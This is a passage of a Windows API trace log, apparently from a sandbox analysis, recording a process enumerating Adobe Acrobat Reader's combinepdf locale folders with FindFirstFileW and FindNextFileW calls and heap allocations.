ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0274.387] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.387] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.388] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.388] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0274.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.388] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0274.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.388] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0274.388] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.388] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0274.388] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0274.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.389] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0274.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.389] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0274.389] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.389] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.390] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.390] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0274.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.390] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0274.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.390] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0274.391] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.391] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.391] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.392] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0274.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0274.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.392] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0274.392] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.393] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0274.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0274.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.393] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0274.393] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.393] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0274.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0274.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.394] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0274.395] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.395] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0274.395] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0274.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.395] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0274.396] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.396] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0274.397] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.397] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0274.397] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.397] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0274.397] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.397] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 